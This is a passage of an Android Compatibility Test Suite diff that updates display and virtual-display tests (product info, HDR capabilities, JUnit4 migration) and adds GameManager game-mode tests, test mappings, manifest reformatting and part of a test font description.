-        handler.post(new Runnable() {
-            @Override
-            public void run() {
-                mPresentation.dismiss();
-            }
-        });
+        handler.post(() -> mPresentation.dismiss());
     }
 
     /**
@@ -399,6 +808,53 @@
     }
 
     @Test
+    public void testGetDeviceProductInfo() {
+        DeviceProductInfo deviceProductInfo = mDefaultDisplay.getDeviceProductInfo();
+        assumeNotNull(deviceProductInfo);
+
+        assertNotNull(deviceProductInfo.getManufacturerPnpId());
+
+        assertNotNull(deviceProductInfo.getProductId());
+
+        final boolean isYearPresent = (deviceProductInfo.getModelYear() != -1) ||
+                (deviceProductInfo.getManufactureYear() != -1);
+        assertTrue(isYearPresent);
+        int year = deviceProductInfo.getModelYear() != -1 ?
+                deviceProductInfo.getModelYear() : deviceProductInfo.getManufactureYear();
+        // Verify if the model year or manufacture year is greater than or equal to 1990.
+        // This assumption is based on Section of 3.4.4 - Week and Year of Manufacture or Model Year
+        // of VESA EDID STANDARD Version 1, Revision 4
+        assertTrue(year >= 1990);
+
+        List<Integer> allowedConnectionToSinkValues = List.of(
+                DeviceProductInfo.CONNECTION_TO_SINK_UNKNOWN,
+                DeviceProductInfo.CONNECTION_TO_SINK_BUILT_IN,
+                DeviceProductInfo.CONNECTION_TO_SINK_DIRECT,
+                DeviceProductInfo.CONNECTION_TO_SINK_TRANSITIVE
+        );
+        assertTrue(
+                allowedConnectionToSinkValues.contains(
+                        deviceProductInfo.getConnectionToSinkType()));
+    }
+
+    @Test
+    public void testDeviceProductInfo() {
+        DeviceProductInfo deviceProductInfo = new DeviceProductInfo(
+                "DeviceName" /* name */,
+                "TTL" /* manufacturePnpId */,
+                "ProductId1" /* productId */,
+                2000 /* modelYear */,
+                DeviceProductInfo.CONNECTION_TO_SINK_DIRECT);
+
+        assertEquals("DeviceName", deviceProductInfo.getName());
+        assertEquals("TTL", deviceProductInfo.getManufacturerPnpId());
+        assertEquals("ProductId1", deviceProductInfo.getProductId());
+        assertEquals(2000, deviceProductInfo.getModelYear());
+        assertEquals(DeviceProductInfo.CONNECTION_TO_SINK_DIRECT,
+                deviceProductInfo.getConnectionToSinkType());
+    }
+
+    @Test
     public void testFailBrightnessChangeWithoutPermission() throws Exception {
         final DisplayTestActivity activity = launchActivity(mDisplayTestActivity);
         final int originalValue = Settings.System.getInt(mContext.getContentResolver(),
@@ -466,7 +922,6 @@
 
             WindowManager.LayoutParams params = getWindow().getAttributes();
             params.preferredDisplayModeId = mModeId;
-            params.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
             params.setTitle("CtsTestPresentation");
             getWindow().setAttributes(params);
         }
diff --git a/tests/tests/display/src/android/display/cts/DisplayTestActivity.java b/tests/tests/display/src/android/display/cts/DisplayTestActivity.java
index 79e4ac0..beb7c93 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTestActivity.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTestActivity.java
@@ -17,9 +17,46 @@
 package android.display.cts;
 
 import android.app.Activity;
+import android.os.Bundle;
+import android.view.Display;
+import android.view.WindowManager;
+
+import androidx.annotation.Nullable;
 
 /**
  * Test activity to exercise getting metrics for displays.
  */
 public class DisplayTestActivity extends Activity {
+
+    private static final String PREFERRED_DISPLAY_MODE_ID = "preferred_display_mode_id";
+    private int mPreferredDisplayModeId = 0;
+
+    @Override
+    public void onSaveInstanceState(Bundle outBundle) {
+        super.onSaveInstanceState(outBundle);
+
+        outBundle.putInt(PREFERRED_DISPLAY_MODE_ID, mPreferredDisplayModeId);
+    }
+
+    @Override
+    public void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        if (savedInstanceState != null) {
+            mPreferredDisplayModeId = savedInstanceState.getInt(PREFERRED_DISPLAY_MODE_ID, 0);
+            resetLayoutParams();
+        }
+    }
+
+    /** Set an override for the display mode. This is called directly from test instrumentation. */
+    public void setPreferredDisplayMode(Display.Mode mode) {
+        mPreferredDisplayModeId = mode.getModeId();
+        resetLayoutParams();
+    }
+
+    private void resetLayoutParams() {
+        WindowManager.LayoutParams params = getWindow().getAttributes();
+        params.preferredDisplayModeId = mPreferredDisplayModeId;
+        getWindow().setAttributes(params);
+    }
 }
diff --git a/tests/tests/display/src/android/display/cts/RetainedDisplayTestActivity.java b/tests/tests/display/src/android/display/cts/RetainedDisplayTestActivity.java
new file mode 100644
index 0000000..29ec88c
--- /dev/null
+++ b/tests/tests/display/src/android/display/cts/RetainedDisplayTestActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.display.cts;
+
+/**
+ * Test activity to exercise display APIs during config changes.
+ */
+public class RetainedDisplayTestActivity extends DisplayTestActivity {
+}
diff --git a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
index a0a567e..051ad1a 100644
--- a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
@@ -16,6 +16,17 @@
 
 package android.display.cts;
 
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_TRUSTED;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
 import android.app.Presentation;
 import android.content.Context;
 import android.graphics.Color;
@@ -32,7 +43,7 @@
 import android.os.Looper;
 import android.os.SystemClock;
 import android.platform.test.annotations.SecurityTest;
-import android.test.AndroidTestCase;
+import android.provider.Settings;
 import android.util.DisplayMetrics;
 import android.util.Log;
 import android.view.Display;
@@ -40,6 +51,19 @@
 import android.view.ViewGroup.LayoutParams;
 import android.widget.ImageView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+import com.android.compatibility.common.util.SettingsStateKeeperRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.nio.ByteBuffer;
 import java.util.concurrent.locks.Lock;
 import java.util.concurrent.locks.ReentrantLock;
@@ -50,7 +74,8 @@
  * This CTS test is unable to test public virtual displays since special permissions
  * are required.  See also framework VirtualDisplayTest unit tests.
  */
-public class VirtualDisplayTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class VirtualDisplayTest {
     private static final String TAG = "VirtualDisplayTest";
 
     private static final String NAME = TAG;
@@ -67,6 +92,7 @@
     private static final int BLUEISH = 0xff1122ee;
     private static final int GREENISH = 0xff33dd44;
 
+    private Context mContext;
     private DisplayManager mDisplayManager;
     private Handler mHandler;
     private final Lock mImageReaderLock = new ReentrantLock(true /*fair*/);
@@ -76,13 +102,24 @@
     private HandlerThread mCheckThread;
     private Handler mCheckHandler;
 
-    private static final int VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS = 1 << 9;
-    private static final int VIRTUAL_DISPLAY_FLAG_TRUSTED = 1 << 10;
+    @Rule
+    public AdoptShellPermissionsRule mAdoptShellPermissionsRule = new AdoptShellPermissionsRule(
+            InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+            Manifest.permission.WRITE_SECURE_SETTINGS);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @ClassRule
+    public static final SettingsStateKeeperRule mAreUserDisabledHdrFormatsAllowedSettingsKeeper =
+            new SettingsStateKeeperRule(InstrumentationRegistry.getTargetContext(),
+                    Settings.Global.ARE_USER_DISABLED_HDR_FORMATS_ALLOWED);
 
+    @ClassRule
+    public static final SettingsStateKeeperRule mUserDisabledHdrFormatsSettingsKeeper =
+            new SettingsStateKeeperRule(InstrumentationRegistry.getTargetContext(),
+                    Settings.Global.USER_DISABLED_HDR_FORMATS);
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
         mDisplayManager = (DisplayManager)mContext.getSystemService(Context.DISPLAY_SERVICE);
         mHandler = new Handler(Looper.getMainLooper());
         mImageListener = new ImageListener();
@@ -101,9 +138,8 @@
         }
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
+    @After
+    public void tearDown() throws Exception {
         mImageReaderLock.lock();
         try {
             mImageReader.close();
@@ -120,6 +156,7 @@
      * its own windows on it.
      */
     @SecurityTest
+    @Test
     public void testPrivateVirtualDisplay() throws Exception {
         VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
                 WIDTH, HEIGHT, DENSITY, mSurface, 0);
@@ -144,6 +181,7 @@
      * its own windows on it.
      */
     @SecurityTest
+    @Test
     public void testPrivatePresentationVirtualDisplay() throws Exception {
         VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
                 WIDTH, HEIGHT, DENSITY, mSurface,
@@ -169,6 +207,7 @@
      * its own windows on it where the surface is attached or detached dynamically.
      */
     @SecurityTest
+    @Test
     public void testPrivateVirtualDisplayWithDynamicSurface() throws Exception {
         VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
                 WIDTH, HEIGHT, DENSITY, null, 0);
@@ -202,6 +241,7 @@
      * flag {@link DisplayManager#VIRTUAL_DISPLAY_FLAG_TRUSTED}.
      */
     @SecurityTest
+    @Test
     public void testUntrustedSysDecorVirtualDisplay() throws Exception {
         VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
                 WIDTH, HEIGHT, DENSITY, mSurface,
@@ -229,6 +269,7 @@
      * display without holding the permission {@code ADD_TRUSTED_DISPLAY}.
      */
     @SecurityTest
+    @Test
     public void testTrustedVirtualDisplay() throws Exception {
         try {
             VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
@@ -241,6 +282,36 @@
                 + "holding the permission ADD_TRUSTED_DISPLAY.");
     }
 
+    @Test
+    public void testHdrApiMethods() {
+        VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
+                WIDTH, HEIGHT, DENSITY, mSurface, /*flags*/ 0);
+        try {
+            assertFalse(virtualDisplay.getDisplay().isHdr());
+            assertNull(virtualDisplay.getDisplay().getHdrCapabilities());
+        } finally {
+            virtualDisplay.release();
+        }
+    }
+
+    @Test
+    public void testGetHdrCapabilitiesWithUserDisabledFormats() {
+        VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
+                WIDTH, HEIGHT, DENSITY, mSurface, /*flags*/ 0);
+        mDisplayManager.setAreUserDisabledHdrTypesAllowed(false);
+        int[] userDisabledHdrTypes = {
+                Display.HdrCapabilities.HDR_TYPE_DOLBY_VISION,
+                Display.HdrCapabilities.HDR_TYPE_HLG};
+        mDisplayManager.setUserDisabledHdrTypes(userDisabledHdrTypes);
+
+        try {
+            assertFalse(virtualDisplay.getDisplay().isHdr());
+            assertNull(virtualDisplay.getDisplay().getHdrCapabilities());
+        } finally {
+            virtualDisplay.release();
+        }
+    }
+
     private void assertDisplayRegistered(Display display, int flags) {
         assertNotNull("display object must not be null", display);
         assertTrue("display must be valid", display.isValid());
@@ -286,7 +357,7 @@
             runOnUiThread(new Runnable() {
                 @Override
                 public void run() {
-                    presentation[0] = new TestPresentation(getContext(), display,
+                    presentation[0] = new TestPresentation(mContext, display,
                             color, windowFlags);
                     presentation[0].show();
                 }
diff --git a/tests/tests/dpi2/TEST_MAPPING b/tests/tests/dpi2/TEST_MAPPING
new file mode 100644
index 0000000..09c90d6
--- /dev/null
+++ b/tests/tests/dpi2/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsDpiTestCases2"
+    }
+  ]
+}
diff --git a/tests/tests/dreams/TEST_MAPPING b/tests/tests/dreams/TEST_MAPPING
new file mode 100644
index 0000000..d8c6848
--- /dev/null
+++ b/tests/tests/dreams/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsDreamsTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/drm/TEST_MAPPING b/tests/tests/drm/TEST_MAPPING
new file mode 100644
index 0000000..437c95c
--- /dev/null
+++ b/tests/tests/drm/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsDrmTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/effect/TEST_MAPPING b/tests/tests/effect/TEST_MAPPING
new file mode 100644
index 0000000..623dc8c
--- /dev/null
+++ b/tests/tests/effect/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsEffectTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/externalservice/TEST_MAPPING b/tests/tests/externalservice/TEST_MAPPING
new file mode 100644
index 0000000..044b14f
--- /dev/null
+++ b/tests/tests/externalservice/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsExternalServiceTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/gamemanager/Android.bp b/tests/tests/gamemanager/Android.bp
new file mode 100644
index 0000000..99ec4b6
--- /dev/null
+++ b/tests/tests/gamemanager/Android.bp
@@ -0,0 +1,32 @@
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsGameManagerTestCases",
+    defaults: ["cts_defaults"],
+
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+
+    libs: [
+        "android.test.base",
+        "android.test.runner"
+    ],
+
+    static_libs: [
+        "androidx.test.core",
+        "ctsdeviceutillegacy-axt",
+        "ctstestrunner-axt",
+        "ctstestserver",
+        "junit",
+        "truth-prebuilt",
+    ],
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/gamemanager/AndroidManifest.xml b/tests/tests/gamemanager/AndroidManifest.xml
new file mode 100644
index 0000000..ca874b9
--- /dev/null
+++ b/tests/tests/gamemanager/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.gamemanager.cts">
+
+    <application android:appCategory="game">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".GameManagerCtsActivity"
+                  android:label="GameManagerCtsActivity"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.gamemanager.cts"
+         android:label="CTS tests of android Game Manager service">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/gamemanager/AndroidTest.xml b/tests/tests/gamemanager/AndroidTest.xml
new file mode 100644
index 0000000..52dab5b
--- /dev/null
+++ b/tests/tests/gamemanager/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Game Manager test cases">
+    <option name="test-suite-tag" value="cts" />
+
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsGameManagerTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.gamemanager.cts" />
+    </test>
+</configuration>
diff --git a/tests/tests/gamemanager/OWNERS b/tests/tests/gamemanager/OWNERS
new file mode 100644
index 0000000..986180d
--- /dev/null
+++ b/tests/tests/gamemanager/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 878256
+lpy@google.com
+timvp@google.com
diff --git a/tests/tests/gamemanager/src/android/gamemanager/cts/GameManagerCtsActivity.java b/tests/tests/gamemanager/src/android/gamemanager/cts/GameManagerCtsActivity.java
new file mode 100644
index 0000000..1c78d18
--- /dev/null
+++ b/tests/tests/gamemanager/src/android/gamemanager/cts/GameManagerCtsActivity.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.gamemanager.cts;
+
+import android.app.Activity;
+import android.app.GameManager;
+import android.content.Context;
+import android.os.Bundle;
+
+public class GameManagerCtsActivity extends Activity {
+
+    private static final String TAG = "GameManagerCtsActivity";
+
+    Context mContext;
+    GameManager mGameManager;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mContext = getApplicationContext();
+        mGameManager = mContext.getSystemService(GameManager.class);
+    }
+
+    public String getPackageName() {
+        return mContext.getPackageName();
+    }
+
+    public int getGameMode() {
+        return mGameManager.getGameMode();
+    }
+
+}
diff --git a/tests/tests/gamemanager/src/android/gamemanager/cts/GameManagerTest.java b/tests/tests/gamemanager/src/android/gamemanager/cts/GameManagerTest.java
new file mode 100644
index 0000000..2ad0f22
--- /dev/null
+++ b/tests/tests/gamemanager/src/android/gamemanager/cts/GameManagerTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.gamemanager.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.GameManager;
+import android.content.Context;
+import android.util.Log;
+
+import androidx.test.ext.junit.rules.ActivityScenarioRule;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+public class GameManagerTest {
+    private static final String TAG = "GameManagerTest";
+
+    private GameManagerCtsActivity mActivity;
+    private Context mContext;
+    private GameManager mGameManager;
+
+    @Rule
+    public ActivityScenarioRule<GameManagerCtsActivity> mActivityRule =
+            new ActivityScenarioRule<>(GameManagerCtsActivity.class);
+
+    @Before
+    public void setUp() {
+        mActivityRule.getScenario().onActivity(activity -> {
+            mActivity = activity;
+        });
+
+        mContext = getInstrumentation().getContext();
+        mGameManager = mContext.getSystemService(GameManager.class);
+    }
+
+    /**
+     * Test that GameManager::getGameMode() returns the correct value when forcing the Game Mode to
+     * GAME_MODE_UNSUPPORTED.
+     */
+    @Test
+    public void testGetGameModeUnsupported() {
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mGameManager,
+                (gameManager) -> gameManager.setGameMode(mActivity.getPackageName(),
+                        GameManager.GAME_MODE_UNSUPPORTED));
+
+        int gameMode = mActivity.getGameMode();
+
+        Assert.assertEquals("Game Manager returned incorrect value.",
+                GameManager.GAME_MODE_UNSUPPORTED, gameMode);
+    }
+
+    /**
+     * Test that GameManager::getGameMode() returns the correct value when forcing the Game Mode to
+     * GAME_MODE_STANDARD.
+     */
+    @Test
+    public void testGetGameModeStandard() {
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mGameManager,
+                (gameManager) -> gameManager.setGameMode(mActivity.getPackageName(),
+                        GameManager.GAME_MODE_STANDARD));
+
+        int gameMode = mActivity.getGameMode();
+
+        Assert.assertEquals("Game Manager returned incorrect value.",
+                GameManager.GAME_MODE_STANDARD, gameMode);
+    }
+
+    /**
+     * Test that GameManager::getGameMode() returns the correct value when forcing the Game Mode to
+     * GAME_MODE_PERFORMANCE.
+     */
+    @Test
+    public void testGetGameModePerformance() {
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mGameManager,
+                (gameManager) -> gameManager.setGameMode(mActivity.getPackageName(),
+                        GameManager.GAME_MODE_PERFORMANCE));
+
+        int gameMode = mActivity.getGameMode();
+
+        Assert.assertEquals("Game Manager returned incorrect value.",
+                GameManager.GAME_MODE_PERFORMANCE, gameMode);
+    }
+
+    /**
+     * Test that GameManager::getGameMode() returns the correct value when forcing the Game Mode to
+     * GAME_MODE_BATTERY.
+     */
+    @Test
+    public void testGetGameModeBattery() {
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mGameManager,
+                (gameManager) -> gameManager.setGameMode(mActivity.getPackageName(),
+                        GameManager.GAME_MODE_BATTERY));
+
+        int gameMode = mActivity.getGameMode();
+
+        Assert.assertEquals("Game Manager returned incorrect value.",
+                GameManager.GAME_MODE_BATTERY, gameMode);
+    }
+}
diff --git a/tests/tests/gesture/TEST_MAPPING b/tests/tests/gesture/TEST_MAPPING
new file mode 100644
index 0000000..7572991
--- /dev/null
+++ b/tests/tests/gesture/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsGestureTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/graphics/AndroidManifest.xml b/tests/tests/graphics/AndroidManifest.xml
index 2e53417..6406133 100644
--- a/tests/tests/graphics/AndroidManifest.xml
+++ b/tests/tests/graphics/AndroidManifest.xml
@@ -16,69 +16,66 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.graphics.cts"
-        android:targetSandboxVersion="2">
+     package="android.graphics.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name="android.graphics.cts.CameraGpuCtsActivity"
-            android:label="CameraGpuCtsActivity">
+             android:label="CameraGpuCtsActivity">
         </activity>
 
         <activity android:name="android.graphics.cts.FrameRateCtsActivity"
-            android:label="FrameRateCtsActivity">
+             android:label="FrameRateCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.graphics.cts.ImageViewCtsActivity"
-            android:label="ImageViewCtsActivity">
+             android:label="ImageViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.graphics.cts.VulkanPreTransformCtsActivity"
-            android:label="VulkanPreTransformCtsActivity"
-            android:theme="@android:style/Theme.NoTitleBar.Fullscreen">
+             android:label="VulkanPreTransformCtsActivity"
+             android:theme="@android:style/Theme.NoTitleBar.Fullscreen">
         </activity>
 
         <activity android:name="android.graphics.drawable.cts.DrawableStubActivity"
-                  android:theme="@style/WhiteBackgroundNoWindowAnimation"
-          android:screenOrientation="locked"/>
+             android:theme="@style/WhiteBackgroundNoWindowAnimation"
+             android:screenOrientation="locked"/>
         <activity android:name="android.graphics.drawable.cts.AnimatedImageActivity"
-                  android:theme="@style/WhiteBackgroundNoWindowAnimation"
-            android:screenOrientation="locked">
+             android:theme="@style/WhiteBackgroundNoWindowAnimation"
+             android:screenOrientation="locked">
         </activity>
-        <provider
-            android:name=".EmptyProvider"
-            android:exported="true"
-            android:authorities="android.graphics.cts.assets"/>
-        <provider
-            android:name="androidx.core.content.FileProvider"
-            android:authorities="android.graphics.cts.fileprovider"
-            android:exported="false"
-            android:grantUriPermissions="true"
-            >
-            <meta-data
-                android:name="android.support.FILE_PROVIDER_PATHS"
-                android:resource="@xml/file_paths" />
+        <provider android:name=".EmptyProvider"
+             android:exported="true"
+             android:authorities="android.graphics.cts.assets"/>
+        <provider android:name="androidx.core.content.FileProvider"
+             android:authorities="android.graphics.cts.fileprovider"
+             android:exported="false"
+             android:grantUriPermissions="true">
+            <meta-data android:name="android.support.FILE_PROVIDER_PATHS"
+                 android:resource="@xml/file_paths"/>
         </provider>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.graphics.cts"
-                     android:label="CTS tests of android.graphics">
+         android:targetPackage="android.graphics.cts"
+         android:label="CTS tests of android.graphics">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/graphics/assets/fonts/draw/draw_glyph_font.ttf b/tests/tests/graphics/assets/fonts/draw/draw_glyph_font.ttf
new file mode 100644
index 0000000..ef655363
--- /dev/null
+++ b/tests/tests/graphics/assets/fonts/draw/draw_glyph_font.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/fonts/draw/draw_glyph_font.ttx b/tests/tests/graphics/assets/fonts/draw/draw_glyph_font.ttx
new file mode 100644
index 0000000..3502b37
--- /dev/null
+++ b/tests/tests/graphics/assets/fonts/draw/draw_glyph_font.ttx
@@ -0,0 +1,240 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+    <GlyphID id="2" name="b"/>
+    <GlyphID id="3" name="c"/>
+    <GlyphID id="4" name="d"/>
+    <GlyphID id="5" name="e"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
